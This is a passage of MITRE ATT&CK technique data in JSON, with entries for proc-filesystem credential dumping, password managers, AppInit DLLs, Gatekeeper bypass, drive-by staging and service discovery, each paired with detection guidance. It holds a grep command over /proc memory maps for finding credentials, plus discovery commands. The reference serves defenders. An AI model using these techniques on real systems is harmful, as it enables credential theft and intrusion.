                },
                {
                    "source_name": "MimiPenguin GitHub May 2017",
                    "description": "Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.",
                    "url": "https://github.com/huntergregal/mimipenguin"
                },
                {
                    "source_name": "Picus Labs Proc cump 2022",
                    "description": "Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.",
                    "url": "https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:57:59.661Z",
            "name": "Proc Filesystem",
            "description": "Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as <code>grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1</code>, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.",
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                {
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                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Tim (Wadhwa-)Brown"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074",
            "created": "2020-10-01T00:49:05.467Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1583/005",
                    "external_id": "T1583.005"
                },
                {
                    "source_name": "Krebs-Booter",
                    "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"
                },
                {
                    "source_name": "Krebs-Bazaar",
                    "description": "Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"
                },
                {
                    "source_name": "Krebs-Anna",
                    "description": "Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.",
                    "url": "https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
                },
                {
                    "source_name": "Imperva DDoS for Hire",
                    "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.",
                    "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/"
                },
                {
                    "source_name": "Norton Botnet",
                    "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.",
                    "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
                },
                {
                    "source_name": "ORB Mandiant",
                    "description": "Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T13:29:34.161Z",
            "name": "Botnet",
            "description": "Adversaries may buy, lease, or rent a network of compromised systems\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. \n\nInternet-facing edge devices and related network appliances that are end-of-life (EOL) and unsupported by their manufacturers are commonly acquired for botnet activities. Adversaries may lease operational relay box (ORB) networks \u2013 consisting of virtual private servers (VPS), small office/home office (SOHO) routers, or Internet of Things (IoT) devices \u2013 to serve as a botnet.(Citation: ORB Mandiant) \n\nWith a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter) Acquired botnets may also be used to support Command and Control activity, such as [Hide Infrastructure](https://attack.mitre.org/techniques/T1665) through an established [Proxy](https://attack.mitre.org/techniques/T1090) network.\n\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "created": "2021-01-22T16:08:40.629Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/005",
                    "external_id": "T1555.005"
                },
                {
                    "source_name": "Cyberreason Anchor December 2019",
                    "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.",
                    "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"
                },
                {
                    "source_name": "FoxIT Wocao December 2019",
                    "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.",
                    "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"
                },
                {
                    "source_name": "ise Password Manager February 2019",
                    "description": "ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.",
                    "url": "https://www.ise.io/casestudies/password-manager-hacking/"
                },
                {
                    "source_name": "Github KeeThief",
                    "description": "Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.",
                    "url": "https://github.com/GhostPack/KeeThief"
                },
                {
                    "source_name": "NVD CVE-2019-3610",
                    "description": "National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3610"
                }
            ],
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            ],
            "modified": "2025-04-15T22:56:22.300Z",
            "name": "Password Managers",
            "description": "Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)",
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                {
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                    "phase_name": "credential-access"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Matt Burrough, @mattburrough, Microsoft"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Access",
                "Process: OS API Execution",
                "File: File Access",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
            "created": "2017-05-31T21:31:15.409Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1103",
                    "external_id": "T1103"
                },
                {
                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                },
                {
                    "source_name": "AppInit Registry",
                    "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
                    "url": "https://support.microsoft.com/en-us/kb/197571"
                },
                {
                    "source_name": "AppInit Secure Boot",
                    "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
                    "url": "https://msdn.microsoft.com/en-us/library/dn280412"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:20.875Z",
            "name": "AppInit DLLs",
            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
            "kill_chain_phases": [
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                    "kill_chain_name": "mitre-attack",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
            "created": "2020-02-05T16:16:08.471Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553/001",
                    "external_id": "T1553.001"
                },
                {
                    "source_name": "Application Bundle Manipulation Brandon Dalton",
                    "description": "Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.",
                    "url": "https://redcanary.com/blog/mac-application-bundles/"
                },
                {
                    "source_name": "theevilbit gatekeeper bypass 2021",
                    "description": "Csaba Fitzl. (2021, June 29). GateKeeper - Not a Bypass (Again). Retrieved September 22, 2021.",
                    "url": "https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "TheEclecticLightCompany Quarantine and the flag",
                    "description": "hoakley. (2020, October 29). Quarantine and the quarantine flag. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/"
                },
                {
                    "source_name": "TheEclecticLightCompany apple notarization ",
                    "description": "How Notarization Works. (2020, August 28). How notarization works. Retrieved September 13, 2021.",
                    "url": "https://eclecticlight.co/2020/08/28/how-notarization-works/"
                },
                {
                    "source_name": "20 macOS Common Tools and Techniques",
                    "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
                    "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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            "name": "Gatekeeper Bypass",
            "description": "Adversaries may modify file attributes and subvert Gatekeeper functionality to evade user prompts and execute untrusted programs. Gatekeeper is a set of technologies that act as layer of Apple\u2019s security model to ensure only trusted applications are executed on a host. Gatekeeper was built on top of File Quarantine in Snow Leopard (10.6, 2009) and has grown to include Code Signing, security policy compliance, Notarization, and more. Gatekeeper also treats applications running for the first time differently than reopened applications.(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: TheEclecticLightCompany apple notarization )\n\nBased on an opt-in system, when files are downloaded an extended attribute (xattr) called `com.apple.quarantine` (also known as a quarantine flag) can be set on the file by the application performing the download. Launch Services opens the application in a suspended state. For first run applications with the quarantine flag set, Gatekeeper executes the following functions:\n\n1. Checks extended attribute \u2013 Gatekeeper checks for the quarantine flag, then provides an alert prompt to the user to allow or deny execution.(Citation: OceanLotus for OS X)(Citation: 20 macOS Common Tools and Techniques)\n\n2. Checks System Policies - Gatekeeper checks the system security policy, allowing execution of apps downloaded from either just the App Store or the App Store and identified developers.\n\n3. Code Signing \u2013 Gatekeeper checks for a valid code signature from an Apple Developer ID.\n\n4. Notarization - Using the `api.apple-cloudkit.com` API, Gatekeeper reaches out to Apple servers to verify or pull down the notarization ticket and ensure the ticket is not revoked. Users can override notarization, which will result in a prompt of executing an \u201cunauthorized app\u201d and the security policy will be modified.\n\nAdversaries can subvert one or multiple security controls within Gatekeeper checks through logic errors (e.g. [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211)), unchecked file types, and external libraries. For example, prior to macOS 13 Ventura, code signing and notarization checks were only conducted on first launch, allowing adversaries to write malicious executables to previously opened applications in order to bypass Gatekeeper security checks.(Citation: theevilbit gatekeeper bypass 2021)(Citation: Application Bundle Manipulation Brandon Dalton)\n\nApplications and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command may not set the quarantine flag. Additionally, it is possible to avoid setting the quarantine flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Brandon Dalton @PartyD0lphin",
                "Swasti Bhushan Deb, IBM India Pvt. Ltd."
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "The removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Monitor software update frameworks that strip the <code>com.apple.quarantine</code> flag when performing updates. \n\nReview <code>false</code> values under the <code>LSFileQuarantineEnabled</code> entry in an application's <code>Info.plist</code> file (required by every application). <code>false</code> under <code>LSFileQuarantineEnabled</code> indicates that an application does not use the quarantine flag. Unsandboxed applications with an unspecified <code>LSFileQuarantineEnabled</code> entry will default to not setting the quarantine flag. \n\nQuarantineEvents is a SQLite database containing a list of all files assigned the <code>com.apple.quarantine</code> attribute, located at <code>~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2</code>. Each event contains the corresponding UUID, timestamp, application, Gatekeeper score, and decision if it was allowed.(Citation: TheEclecticLightCompany Quarantine and the flag)",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
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                "Process: Process Creation",
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                "File: File Metadata",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--31e5011f-090e-45be-9bb6-17a1c5e8219b",
            "created": "2025-03-28T14:01:52.810Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1675",
                    "external_id": "T1675"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023",
                    "description": "Alexander Marvi, Brad Slaybaugh, Ron Craft, and Rufus Brown. (2023, June 13). VMware ESXi Zero-Day Used by Chinese Espionage Actor to Perform Privileged Guest Operations on Compromised Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-esxi-zero-day-bypass/"
                },
                {
                    "source_name": "Broadcom Running Guest OS Operations",
                    "description": "Broadcom. (n.d.). Running Guest OS Operations. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/vsphere-sdks-tools/8-0/web-services-sdk-programming-guide/virtual-machine-guest-operations/running-guest-os-operations.html"
                },
                {
                    "source_name": "Broadcom VMware Tools Services",
                    "description": "Broadcom. (n.d.). VMware Tools Services. Retrieved March 28, 2025.",
                    "url": "https://techdocs.broadcom.com/us/en/vmware-cis/vsphere/tools/12-4-0/vmware-tools-administration-12-4-0/introduction-to-vmware-tools/vmware-tools-service.html"
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            "modified": "2025-04-16T14:57:47.078Z",
            "name": "ESXi Administration Command",
            "description": "Adversaries may abuse ESXi administration services to execute commands on guest machines hosted within an ESXi virtual environment. Persistent background services on ESXi-hosted VMs, such as the VMware Tools Daemon Service, allow for remote management from the ESXi server. The tools daemon service runs as `vmtoolsd.exe` on Windows guest operating systems, `vmware-tools-daemon` on macOS, and `vmtoolsd ` on Linux.(Citation: Broadcom VMware Tools Services) \n\nAdversaries may leverage a variety of tools to execute commands on ESXi-hosted VMs \u2013 for example, by using the vSphere Web Services SDK to programmatically execute commands and scripts via APIs such as `StartProgramInGuest`, `ListProcessesInGuest`,  `ListFileInGuest`, and `InitiateFileTransferFromGuest`.(Citation: Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023)(Citation: Broadcom Running Guest OS Operations) This may enable follow-on behaviors on the guest VMs, such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083), [Data from Local System](https://attack.mitre.org/techniques/T1005), or [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ],
            "x_mitre_remote_support": false
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
            "created": "2021-03-17T20:33:20.127Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1608/004",
                    "external_id": "T1608.004"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
                },
                {
                    "source_name": "FireEye CFR Watering Hole 2012",
                    "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
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            "modified": "2025-04-15T22:24:03.854Z",
            "name": "Drive-by Target",
            "description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Internet Scan: Response Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "created": "2017-05-31T21:30:21.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1007",
                    "external_id": "T1007"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:14:33.837Z",
            "name": "System Service Discovery",
            "description": "Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as <code>sc query</code>, <code>tasklist /svc</code>, <code>systemctl --type=service</code>, and <code>net start</code>.\n\nAdversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Harshal Tupsamudre, Qualys"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.5",
            "x_mitre_data_sources": [
                "Command: Command Execution",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
            "created": "2017-05-31T21:30:41.399Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1040",
                    "external_id": "T1040"
                },
                {
                    "source_name": "AWS Traffic Mirroring",
                    "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
                    "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
                },
                {
                    "source_name": "capture_embedded_packet_on_software",
                    "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"
                },
                {
                    "source_name": "GCP Packet Mirroring",
                    "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
                    "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
                },
                {
                    "source_name": "SpecterOps AWS Traffic Mirroring",
                    "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.",
                    "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"
                },
                {
                    "source_name": "Azure Virtual Network TAP",
                    "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
                    "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
                },
                {
                    "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
                    "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
